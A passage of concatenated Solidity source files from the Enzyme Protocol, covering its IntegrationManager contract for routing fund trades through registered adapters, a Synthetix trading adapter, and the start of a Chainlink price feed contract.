For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/vault/IVault.sol";
import "../../infrastructure/price-feeds/derivatives/IDerivativePriceFeed.sol";
import "../../infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
import "../../utils/AddressArrayLib.sol";
import "../../utils/AssetFinalityResolver.sol";
import "../policy-manager/IPolicyManager.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "../utils/PermissionedVaultActionMixin.sol";
import "./integrations/IIntegrationAdapter.sol";
import "./IIntegrationManager.sol";
/// @title IntegrationManager
/// @author Enzyme Council <[email protected]>
/// @notice Extension to handle DeFi integration actions for funds
contract IntegrationManager is
IIntegrationManager,
ExtensionBase,
FundDeployerOwnerMixin,
PermissionedVaultActionMixin,
AssetFinalityResolver
{
using AddressArrayLib for address[];
using EnumerableSet for EnumerableSet.AddressSet;
using SafeMath for uint256;
event AdapterDeregistered(address indexed adapter, string indexed identifier);
event AdapterRegistered(address indexed adapter, string indexed identifier);
event AuthUserAddedForFund(address indexed comptrollerProxy, address indexed account);
event AuthUserRemovedForFund(address indexed comptrollerProxy, address indexed account);
event CallOnIntegrationExecutedForFund(
address indexed comptrollerProxy,
address vaultProxy,
address caller,
address indexed adapter,
bytes4 indexed selector,
bytes integrationData,
address[] incomingAssets,
uint256[] incomingAssetAmounts,
address[] outgoingAssets,
uint256[] outgoingAssetAmounts
);
address private immutable DERIVATIVE_PRICE_FEED;
address private immutable POLICY_MANAGER;
address private immutable PRIMITIVE_PRICE_FEED;
EnumerableSet.AddressSet private registeredAdapters;
mapping(address => mapping(address => bool)) private comptrollerProxyToAcctToIsAuthUser;
constructor(
address _fundDeployer,
address _policyManager,
address _derivativePriceFeed,
address _primitivePriceFeed,
address _synthetixPriceFeed,
address _synthetixAddressResolver
)
public
FundDeployerOwnerMixin(_fundDeployer)
AssetFinalityResolver(_synthetixPriceFeed, _synthetixAddressResolver)
{
DERIVATIVE_PRICE_FEED = _derivativePriceFeed;
POLICY_MANAGER = _policyManager;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
}
/////////////
// GENERAL //
/////////////
/// @notice Activates the extension by storing the VaultProxy
function activateForFund(bool) external override {
__setValidatedVaultProxy(msg.sender);
}
/// @notice Authorizes a user to act on behalf of a fund via the IntegrationManager
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _who The user to authorize
function addAuthUserForFund(address _comptrollerProxy, address _who) external {
__validateSetAuthUser(_comptrollerProxy, _who, true);
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] = true;
emit AuthUserAddedForFund(_comptrollerProxy, _who);
}
/// @notice Deactivate the extension by destroying storage
function deactivateForFund() external override {
delete comptrollerProxyToVaultProxy[msg.sender];
}
/// @notice Removes an authorized user from the IntegrationManager for the given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _who The authorized user to remove
function removeAuthUserForFund(address _comptrollerProxy, address _who) external {
__validateSetAuthUser(_comptrollerProxy, _who, false);
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] = false;
emit AuthUserRemovedForFund(_comptrollerProxy, _who);
}
/// @notice Checks whether an account is an authorized IntegrationManager user for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _who The account to check
/// @return isAuthUser_ True if the account is an authorized user or the fund owner
function isAuthUserForFund(address _comptrollerProxy, address _who)
public
view
returns (bool isAuthUser_)
{
return
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] ||
_who == IVault(comptrollerProxyToVaultProxy[_comptrollerProxy]).getOwner();
}
/// @dev Helper to validate calls to update comptrollerProxyToAcctToIsAuthUser
function __validateSetAuthUser(
address _comptrollerProxy,
address _who,
bool _nextIsAuthUser
) private view {
require(
comptrollerProxyToVaultProxy[_comptrollerProxy] != address(0),
"__validateSetAuthUser: Fund has not been activated"
);
address fundOwner = IVault(comptrollerProxyToVaultProxy[_comptrollerProxy]).getOwner();
require(
msg.sender == fundOwner,
"__validateSetAuthUser: Only the fund owner can call this function"
);
require(_who != fundOwner, "__validateSetAuthUser: Cannot set for the fund owner");
if (_nextIsAuthUser) {
require(
!comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who],
"__validateSetAuthUser: Account is already an authorized user"
);
} else {
require(
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who],
"__validateSetAuthUser: Account is not an authorized user"
);
}
}
///////////////////////////////
// CALL-ON-EXTENSION ACTIONS //
///////////////////////////////
/// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy
/// @param _caller The user who called for this action
/// @param _actionId An ID representing the desired action
/// @param _callArgs The encoded args for the action
function receiveCallFromComptroller(
address _caller,
uint256 _actionId,
bytes calldata _callArgs
) external override {
// Since we validate and store the ComptrollerProxy-VaultProxy pairing during
// activateForFund(), this function does not require further validation of the
// sending ComptrollerProxy
address vaultProxy = comptrollerProxyToVaultProxy[msg.sender];
require(vaultProxy != address(0), "receiveCallFromComptroller: Fund is not active");
require(
isAuthUserForFund(msg.sender, _caller),
"receiveCallFromComptroller: Not an authorized user"
);
// Dispatch the action
if (_actionId == 0) {
__callOnIntegration(_caller, vaultProxy, _callArgs);
} else if (_actionId == 1) {
__addZeroBalanceTrackedAssets(vaultProxy, _callArgs);
} else if (_actionId == 2) {
__removeZeroBalanceTrackedAssets(vaultProxy, _callArgs);
} else {
revert("receiveCallFromComptroller: Invalid _actionId");
}
}
/// @dev Adds assets with a zero balance as tracked assets of the fund
function __addZeroBalanceTrackedAssets(address _vaultProxy, bytes memory _callArgs) private {
address[] memory assets = abi.decode(_callArgs, (address[]));
for (uint256 i; i < assets.length; i++) {
require(
__finalizeIfSynthAndGetAssetBalance(_vaultProxy, assets[i], true) == 0,
"__addZeroBalanceTrackedAssets: Balance is not zero"
);
__addTrackedAsset(msg.sender, assets[i]);
}
}
/// @dev Removes assets with a zero balance from tracked assets of the fund
function __removeZeroBalanceTrackedAssets(address _vaultProxy, bytes memory _callArgs)
private
{
address[] memory assets = abi.decode(_callArgs, (address[]));
address denominationAsset = IComptroller(msg.sender).getDenominationAsset();
for (uint256 i; i < assets.length; i++) {
require(
assets[i] != denominationAsset,
"__removeZeroBalanceTrackedAssets: Cannot remove denomination asset"
);
require(
__finalizeIfSynthAndGetAssetBalance(_vaultProxy, assets[i], true) == 0,
"__removeZeroBalanceTrackedAssets: Balance is not zero"
);
__removeTrackedAsset(msg.sender, assets[i]);
}
}
/////////////////////////
// CALL ON INTEGRATION //
/////////////////////////
/// @notice Universal method for calling third party contract functions through adapters
/// @param _caller The caller of this function via the ComptrollerProxy
/// @param _vaultProxy The VaultProxy of the fund
/// @param _callArgs The encoded args for this function
/// - _adapter Adapter of the integration on which to execute a call
/// - _selector Method selector of the adapter method to execute
/// - _integrationData Encoded arguments specific to the adapter
/// @dev msg.sender is the ComptrollerProxy.
/// Refer to specific adapter to see how to encode its arguments.
function __callOnIntegration(
address _caller,
address _vaultProxy,
bytes memory _callArgs
) private {
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
__preCoIHook(adapter, selector);
/// Passing decoded _callArgs leads to stack-too-deep error
(
address[] memory incomingAssets,
uint256[] memory incomingAssetAmounts,
address[] memory outgoingAssets,
uint256[] memory outgoingAssetAmounts
) = __callOnIntegrationInner(_vaultProxy, _callArgs);
__postCoIHook(
adapter,
selector,
incomingAssets,
incomingAssetAmounts,
outgoingAssets,
outgoingAssetAmounts
);
__emitCoIEvent(
_vaultProxy,
_caller,
adapter,
selector,
integrationData,
incomingAssets,
incomingAssetAmounts,
outgoingAssets,
outgoingAssetAmounts
);
}
/// @dev Helper to execute the bulk of logic of callOnIntegration.
/// Avoids the stack-too-deep-error.
function __callOnIntegrationInner(address vaultProxy, bytes memory _callArgs)
private
returns (
address[] memory incomingAssets_,
uint256[] memory incomingAssetAmounts_,
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_
)
{
(
address[] memory expectedIncomingAssets,
uint256[] memory preCallIncomingAssetBalances,
uint256[] memory minIncomingAssetAmounts,
SpendAssetsHandleType spendAssetsHandleType,
address[] memory spendAssets,
uint256[] memory maxSpendAssetAmounts,
uint256[] memory preCallSpendAssetBalances
) = __preProcessCoI(vaultProxy, _callArgs);
__executeCoI(
vaultProxy,
_callArgs,
abi.encode(
spendAssetsHandleType,
spendAssets,
maxSpendAssetAmounts,
expectedIncomingAssets
)
);
(
incomingAssets_,
incomingAssetAmounts_,
outgoingAssets_,
outgoingAssetAmounts_
) = __postProcessCoI(
vaultProxy,
expectedIncomingAssets,
preCallIncomingAssetBalances,
minIncomingAssetAmounts,
spendAssetsHandleType,
spendAssets,
maxSpendAssetAmounts,
preCallSpendAssetBalances
);
return (incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_);
}
/// @dev Helper to decode CoI args
function __decodeCallOnIntegrationArgs(bytes memory _callArgs)
private
pure
returns (
address adapter_,
bytes4 selector_,
bytes memory integrationData_
)
{
return abi.decode(_callArgs, (address, bytes4, bytes));
}
/// @dev Helper to emit the CallOnIntegrationExecuted event.
/// Avoids stack-too-deep error.
function __emitCoIEvent(
address _vaultProxy,
address _caller,
address _adapter,
bytes4 _selector,
bytes memory _integrationData,
address[] memory _incomingAssets,
uint256[] memory _incomingAssetAmounts,
address[] memory _outgoingAssets,
uint256[] memory _outgoingAssetAmounts
) private {
emit CallOnIntegrationExecutedForFund(
msg.sender,
_vaultProxy,
_caller,
_adapter,
_selector,
_integrationData,
_incomingAssets,
_incomingAssetAmounts,
_outgoingAssets,
_outgoingAssetAmounts
);
}
/// @dev Helper to execute a call to an integration
/// @dev Avoids stack-too-deep error
function __executeCoI(
address _vaultProxy,
bytes memory _callArgs,
bytes memory _encodedAssetTransferArgs
) private {
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
(bool success, bytes memory returnData) = adapter.call(
abi.encodeWithSelector(
selector,
_vaultProxy,
integrationData,
_encodedAssetTransferArgs
)
);
require(success, string(returnData));
}
/// @dev Helper to get the vault's balance of a particular asset
function __getVaultAssetBalance(address _vaultProxy, address _asset)
private
view
returns (uint256)
{
return ERC20(_asset).balanceOf(_vaultProxy);
}
/// @dev Helper to check if an asset is supported
function __isSupportedAsset(address _asset) private view returns (bool isSupported_) {
return
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_asset) ||
IDerivativePriceFeed(DERIVATIVE_PRICE_FEED).isSupportedAsset(_asset);
}
/// @dev Helper for the actions to take on external contracts prior to executing CoI
function __preCoIHook(address _adapter, bytes4 _selector) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
msg.sender,
IPolicyManager.PolicyHook.PreCallOnIntegration,
abi.encode(_adapter, _selector)
);
}
/// @dev Helper for the internal actions to take prior to executing CoI
function __preProcessCoI(address _vaultProxy, bytes memory _callArgs)
private
returns (
address[] memory expectedIncomingAssets_,
uint256[] memory preCallIncomingAssetBalances_,
uint256[] memory minIncomingAssetAmounts_,
SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory maxSpendAssetAmounts_,
uint256[] memory preCallSpendAssetBalances_
)
{
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
require(adapterIsRegistered(adapter), "callOnIntegration: Adapter is not registered");
// Note that expected incoming and spend assets are allowed to overlap
// (e.g., a fee for the incomingAsset charged in a spend asset)
(
spendAssetsHandleType_,
spendAssets_,
maxSpendAssetAmounts_,
expectedIncomingAssets_,
minIncomingAssetAmounts_
) = IIntegrationAdapter(adapter).parseAssetsForMethod(selector, integrationData);
require(
spendAssets_.length == maxSpendAssetAmounts_.length,
"__preProcessCoI: Spend assets arrays unequal"
);
require(
expectedIncomingAssets_.length == minIncomingAssetAmounts_.length,
"__preProcessCoI: Incoming assets arrays unequal"
);
require(spendAssets_.isUniqueSet(), "__preProcessCoI: Duplicate spend asset");
require(
expectedIncomingAssets_.isUniqueSet(),
"__preProcessCoI: Duplicate incoming asset"
);
IVault vaultProxyContract = IVault(_vaultProxy);
preCallIncomingAssetBalances_ = new uint256[](expectedIncomingAssets_.length);
for (uint256 i = 0; i < expectedIncomingAssets_.length; i++) {
require(
expectedIncomingAssets_[i] != address(0),
"__preProcessCoI: Empty incoming asset address"
);
require(
minIncomingAssetAmounts_[i] > 0,
"__preProcessCoI: minIncomingAssetAmount must be >0"
);
require(
__isSupportedAsset(expectedIncomingAssets_[i]),
"__preProcessCoI: Non-receivable incoming asset"
);
// Get pre-call balance of each incoming asset.
// If the asset is not tracked by the fund, allow the balance to default to 0.
if (vaultProxyContract.isTrackedAsset(expectedIncomingAssets_[i])) {
// We do not require incoming asset finality, but we attempt to finalize so that
// the final incoming asset amount is more accurate. There is no need to finalize
// post-tx.
preCallIncomingAssetBalances_[i] = __finalizeIfSynthAndGetAssetBalance(
_vaultProxy,
expectedIncomingAssets_[i],
false
);
}
}
// Get pre-call balances of spend assets and grant approvals to adapter
preCallSpendAssetBalances_ = new uint256[](spendAssets_.length);
for (uint256 i = 0; i < spendAssets_.length; i++) {
require(spendAssets_[i] != address(0), "__preProcessCoI: Empty spend asset");
require(maxSpendAssetAmounts_[i] > 0, "__preProcessCoI: Empty max spend asset amount");
// A spend asset must either be a tracked asset of the fund or a supported asset,
// in order to prevent seeding the fund with a malicious token and performing arbitrary
// actions within an adapter.
require(
vaultProxyContract.isTrackedAsset(spendAssets_[i]) ||
__isSupportedAsset(spendAssets_[i]),
"__preProcessCoI: Non-spendable spend asset"
);
// If spend asset is also an incoming asset, no need to record its balance
if (!expectedIncomingAssets_.contains(spendAssets_[i])) {
// By requiring spend asset finality before CoI, we will know whether or
// not the asset balance was entirely spent during the call. There is no need
// to finalize post-tx.
preCallSpendAssetBalances_[i] = __finalizeIfSynthAndGetAssetBalance(
_vaultProxy,
spendAssets_[i],
true
);
}
// Grant spend assets access to the adapter.
// Note that spendAssets_ is already asserted to a unique set.
if (spendAssetsHandleType_ == SpendAssetsHandleType.Approve) {
// Use exact approve amount rather than increasing allowances,
// because all adapters finish their actions atomically.
__approveAssetSpender(
msg.sender,
spendAssets_[i],
adapter,
maxSpendAssetAmounts_[i]
);
} else if (spendAssetsHandleType_ == SpendAssetsHandleType.Transfer) {
__withdrawAssetTo(msg.sender, spendAssets_[i], adapter, maxSpendAssetAmounts_[i]);
} else if (spendAssetsHandleType_ == SpendAssetsHandleType.Remove) {
__removeTrackedAsset(msg.sender, spendAssets_[i]);
}
}
}
/// @dev Helper for the actions to take on external contracts after executing CoI
function __postCoIHook(
address _adapter,
bytes4 _selector,
address[] memory _incomingAssets,
uint256[] memory _incomingAssetAmounts,
address[] memory _outgoingAssets,
uint256[] memory _outgoingAssetAmounts
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
msg.sender,
IPolicyManager.PolicyHook.PostCallOnIntegration,
abi.encode(
_adapter,
_selector,
_incomingAssets,
_incomingAssetAmounts,
_outgoingAssets,
_outgoingAssetAmounts
)
);
}
/// @dev Helper to reconcile and format incoming and outgoing assets after executing CoI
function __postProcessCoI(
address _vaultProxy,
address[] memory _expectedIncomingAssets,
uint256[] memory _preCallIncomingAssetBalances,
uint256[] memory _minIncomingAssetAmounts,
SpendAssetsHandleType _spendAssetsHandleType,
address[] memory _spendAssets,
uint256[] memory _maxSpendAssetAmounts,
uint256[] memory _preCallSpendAssetBalances
)
private
returns (
address[] memory incomingAssets_,
uint256[] memory incomingAssetAmounts_,
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_
)
{
address[] memory increasedSpendAssets;
uint256[] memory increasedSpendAssetAmounts;
(
outgoingAssets_,
outgoingAssetAmounts_,
increasedSpendAssets,
increasedSpendAssetAmounts
) = __reconcileCoISpendAssets(
_vaultProxy,
_spendAssetsHandleType,
_spendAssets,
_maxSpendAssetAmounts,
_preCallSpendAssetBalances
);
(incomingAssets_, incomingAssetAmounts_) = __reconcileCoIIncomingAssets(
_vaultProxy,
_expectedIncomingAssets,
_preCallIncomingAssetBalances,
_minIncomingAssetAmounts,
increasedSpendAssets,
increasedSpendAssetAmounts
);
return (incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_);
}
/// @dev Helper to process incoming asset balance changes.
/// See __reconcileCoISpendAssets() for explanation on "increasedSpendAssets".
function __reconcileCoIIncomingAssets(
address _vaultProxy,
address[] memory _expectedIncomingAssets,
uint256[] memory _preCallIncomingAssetBalances,
uint256[] memory _minIncomingAssetAmounts,
address[] memory _increasedSpendAssets,
uint256[] memory _increasedSpendAssetAmounts
) private returns (address[] memory incomingAssets_, uint256[] memory incomingAssetAmounts_) {
// Incoming assets = expected incoming assets + spend assets with increased balances
uint256 incomingAssetsCount = _expectedIncomingAssets.length.add(
_increasedSpendAssets.length
);
// Calculate and validate incoming asset amounts
incomingAssets_ = new address[](incomingAssetsCount);
incomingAssetAmounts_ = new uint256[](incomingAssetsCount);
for (uint256 i = 0; i < _expectedIncomingAssets.length; i++) {
uint256 balanceDiff = __getVaultAssetBalance(_vaultProxy, _expectedIncomingAssets[i])
.sub(_preCallIncomingAssetBalances[i]);
require(
balanceDiff >= _minIncomingAssetAmounts[i],
"__reconcileCoIAssets: Received incoming asset less than expected"
);
// Even if the asset's previous balance was >0, it might not have been tracked
__addTrackedAsset(msg.sender, _expectedIncomingAssets[i]);
incomingAssets_[i] = _expectedIncomingAssets[i];
incomingAssetAmounts_[i] = balanceDiff;
}
// Append increaseSpendAssets to incomingAsset vars
if (_increasedSpendAssets.length > 0) {
uint256 incomingAssetIndex = _expectedIncomingAssets.length;
for (uint256 i = 0; i < _increasedSpendAssets.length; i++) {
incomingAssets_[incomingAssetIndex] = _increasedSpendAssets[i];
incomingAssetAmounts_[incomingAssetIndex] = _increasedSpendAssetAmounts[i];
incomingAssetIndex++;
}
}
return (incomingAssets_, incomingAssetAmounts_);
}
/// @dev Helper to process spend asset balance changes.
/// "outgoingAssets" are the spend assets with a decrease in balance.
/// "increasedSpendAssets" are the spend assets with an unexpected increase in balance.
/// For example, "increasedSpendAssets" can occur if an adapter has a pre-balance of
/// the spendAsset, which would be transferred to the fund at the end of the tx.
function __reconcileCoISpendAssets(
address _vaultProxy,
SpendAssetsHandleType _spendAssetsHandleType,
address[] memory _spendAssets,
uint256[] memory _maxSpendAssetAmounts,
uint256[] memory _preCallSpendAssetBalances
)
private
returns (
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_,
address[] memory increasedSpendAssets_,
uint256[] memory increasedSpendAssetAmounts_
)
{
// Determine spend asset balance changes
uint256[] memory postCallSpendAssetBalances = new uint256[](_spendAssets.length);
uint256 outgoingAssetsCount;
uint256 increasedSpendAssetsCount;
for (uint256 i = 0; i < _spendAssets.length; i++) {
// If spend asset's initial balance is 0, then it is an incoming asset
if (_preCallSpendAssetBalances[i] == 0) {
continue;
}
// Handle SpendAssetsHandleType.Remove separately
if (_spendAssetsHandleType == SpendAssetsHandleType.Remove) {
outgoingAssetsCount++;
continue;
}
// Determine if the asset is outgoing or incoming, and store the post-balance for later use
postCallSpendAssetBalances[i] = __getVaultAssetBalance(_vaultProxy, _spendAssets[i]);
// If the pre- and post- balances are equal, then the asset is neither incoming nor outgoing
if (postCallSpendAssetBalances[i] < _preCallSpendAssetBalances[i]) {
outgoingAssetsCount++;
} else if (postCallSpendAssetBalances[i] > _preCallSpendAssetBalances[i]) {
increasedSpendAssetsCount++;
}
}
// Format outgoingAssets and increasedSpendAssets (spend assets with unexpected increase in balance)
outgoingAssets_ = new address[](outgoingAssetsCount);
outgoingAssetAmounts_ = new uint256[](outgoingAssetsCount);
increasedSpendAssets_ = new address[](increasedSpendAssetsCount);
increasedSpendAssetAmounts_ = new uint256[](increasedSpendAssetsCount);
uint256 outgoingAssetsIndex;
uint256 increasedSpendAssetsIndex;
for (uint256 i = 0; i < _spendAssets.length; i++) {
// If spend asset's initial balance is 0, then it is an incoming asset.
if (_preCallSpendAssetBalances[i] == 0) {
continue;
}
// Handle SpendAssetsHandleType.Remove separately.
// No need to validate the max spend asset amount.
if (_spendAssetsHandleType == SpendAssetsHandleType.Remove) {
outgoingAssets_[outgoingAssetsIndex] = _spendAssets[i];
outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i];
outgoingAssetsIndex++;
continue;
}
// If the pre- and post- balances are equal, then the asset is neither incoming nor outgoing
if (postCallSpendAssetBalances[i] < _preCallSpendAssetBalances[i]) {
if (postCallSpendAssetBalances[i] == 0) {
__removeTrackedAsset(msg.sender, _spendAssets[i]);
outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i];
} else {
outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i].sub(
postCallSpendAssetBalances[i]
);
}
require(
outgoingAssetAmounts_[outgoingAssetsIndex] <= _maxSpendAssetAmounts[i],
"__reconcileCoISpendAssets: Spent amount greater than expected"
);
outgoingAssets_[outgoingAssetsIndex] = _spendAssets[i];
outgoingAssetsIndex++;
} else if (postCallSpendAssetBalances[i] > _preCallSpendAssetBalances[i]) {
increasedSpendAssetAmounts_[increasedSpendAssetsIndex] = postCallSpendAssetBalances[i]
.sub(_preCallSpendAssetBalances[i]);
increasedSpendAssets_[increasedSpendAssetsIndex] = _spendAssets[i];
increasedSpendAssetsIndex++;
}
}
return (
outgoingAssets_,
outgoingAssetAmounts_,
increasedSpendAssets_,
increasedSpendAssetAmounts_
);
}
///////////////////////////
// INTEGRATIONS REGISTRY //
///////////////////////////
/// @notice Remove integration adapters from the list of registered adapters
/// @param _adapters Addresses of adapters to be deregistered
function deregisterAdapters(address[] calldata _adapters) external onlyFundDeployerOwner {
require(_adapters.length > 0, "deregisterAdapters: _adapters cannot be empty");
for (uint256 i; i < _adapters.length; i++) {
require(
adapterIsRegistered(_adapters[i]),
"deregisterAdapters: Adapter is not registered"
);
registeredAdapters.remove(_adapters[i]);
emit AdapterDeregistered(_adapters[i], IIntegrationAdapter(_adapters[i]).identifier());
}
}
/// @notice Add integration adapters to the list of registered adapters
/// @param _adapters Addresses of adapters to be registered
function registerAdapters(address[] calldata _adapters) external onlyFundDeployerOwner {
require(_adapters.length > 0, "registerAdapters: _adapters cannot be empty");
for (uint256 i; i < _adapters.length; i++) {
require(_adapters[i] != address(0), "registerAdapters: Adapter cannot be empty");
require(
!adapterIsRegistered(_adapters[i]),
"registerAdapters: Adapter already registered"
);
registeredAdapters.add(_adapters[i]);
emit AdapterRegistered(_adapters[i], IIntegrationAdapter(_adapters[i]).identifier());
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Checks if an integration adapter is registered
/// @param _adapter The adapter to check
/// @return isRegistered_ True if the adapter is registered
function adapterIsRegistered(address _adapter) public view returns (bool isRegistered_) {
return registeredAdapters.contains(_adapter);
}
/// @notice Gets the `DERIVATIVE_PRICE_FEED` variable
/// @return derivativePriceFeed_ The `DERIVATIVE_PRICE_FEED` variable value
function getDerivativePriceFeed() external view returns (address derivativePriceFeed_) {
return DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `POLICY_MANAGER` variable
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() external view returns (address policyManager_) {
return POLICY_MANAGER;
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
/// @notice Gets all registered integration adapters
/// @return registeredAdaptersArray_ A list of all registered integration adapters
function getRegisteredAdapters()
external
view
returns (address[] memory registeredAdaptersArray_)
{
registeredAdaptersArray_ = new address[](registeredAdapters.length());
for (uint256 i = 0; i < registeredAdaptersArray_.length; i++) {
registeredAdaptersArray_[i] = registeredAdapters.at(i);
}
return registeredAdaptersArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../infrastructure/price-feeds/derivatives/feeds/SynthetixPriceFeed.sol";
import "../../../../interfaces/ISynthetix.sol";
import "../utils/AdapterBase.sol";
/// @title SynthetixAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with Synthetix
contract SynthetixAdapter is AdapterBase {
address private immutable ORIGINATOR;
address private immutable SYNTHETIX;
address private immutable SYNTHETIX_PRICE_FEED;
bytes32 private immutable TRACKING_CODE;
constructor(
address _integrationManager,
address _synthetixPriceFeed,
address _originator,
address _synthetix,
bytes32 _trackingCode
) public AdapterBase(_integrationManager) {
ORIGINATOR = _originator;
SYNTHETIX = _synthetix;
SYNTHETIX_PRICE_FEED = _synthetixPriceFeed;
TRACKING_CODE = _trackingCode;
}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "SYNTHETIX";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address incomingAsset,
uint256 minIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
return (
IIntegrationManager.SpendAssetsHandleType.None,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on Synthetix
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata
) external onlyIntegrationManager {
(
address incomingAsset,
,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
address[] memory synths = new address[](2);
synths[0] = outgoingAsset;
synths[1] = incomingAsset;
bytes32[] memory currencyKeys = SynthetixPriceFeed(SYNTHETIX_PRICE_FEED)
.getCurrencyKeysForSynths(synths);
ISynthetix(SYNTHETIX).exchangeOnBehalfWithTracking(
_vaultProxy,
currencyKeys[0],
outgoingAssetAmount,
currencyKeys[1],
ORIGINATOR,
TRACKING_CODE
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address incomingAsset_,
uint256 minIncomingAssetAmount_,
address outgoingAsset_,
uint256 outgoingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, uint256, address, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ORIGINATOR` variable
/// @return originator_ The `ORIGINATOR` variable value
function getOriginator() external view returns (address originator_) {
return ORIGINATOR;
}
/// @notice Gets the `SYNTHETIX` variable
/// @return synthetix_ The `SYNTHETIX` variable value
function getSynthetix() external view returns (address synthetix_) {
return SYNTHETIX;
}
/// @notice Gets the `SYNTHETIX_PRICE_FEED` variable
/// @return synthetixPriceFeed_ The `SYNTHETIX_PRICE_FEED` variable value
function getSynthetixPriceFeed() external view returns (address synthetixPriceFeed_) {
return SYNTHETIX_PRICE_FEED;
}
/// @notice Gets the `TRACKING_CODE` variable
/// @return trackingCode_ The `TRACKING_CODE` variable value
function getTrackingCode() external view returns (bytes32 trackingCode_) {
return TRACKING_CODE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../interfaces/IChainlinkAggregator.sol";
import "../../utils/DispatcherOwnerMixin.sol";
import "./IPrimitivePriceFeed.sol";
/// @title ChainlinkPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Chainlink oracles as price sources
contract ChainlinkPriceFeed is IPrimitivePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event EthUsdAggregatorSet(address prevEthUsdAggregator, address nextEthUsdAggregator);
event PrimitiveAdded(
address indexed primitive,
address aggregator,
RateAsset rateAsset,
uint256 unit
);
event PrimitiveRemoved(address indexed primitive);
event PrimitiveUpdated(
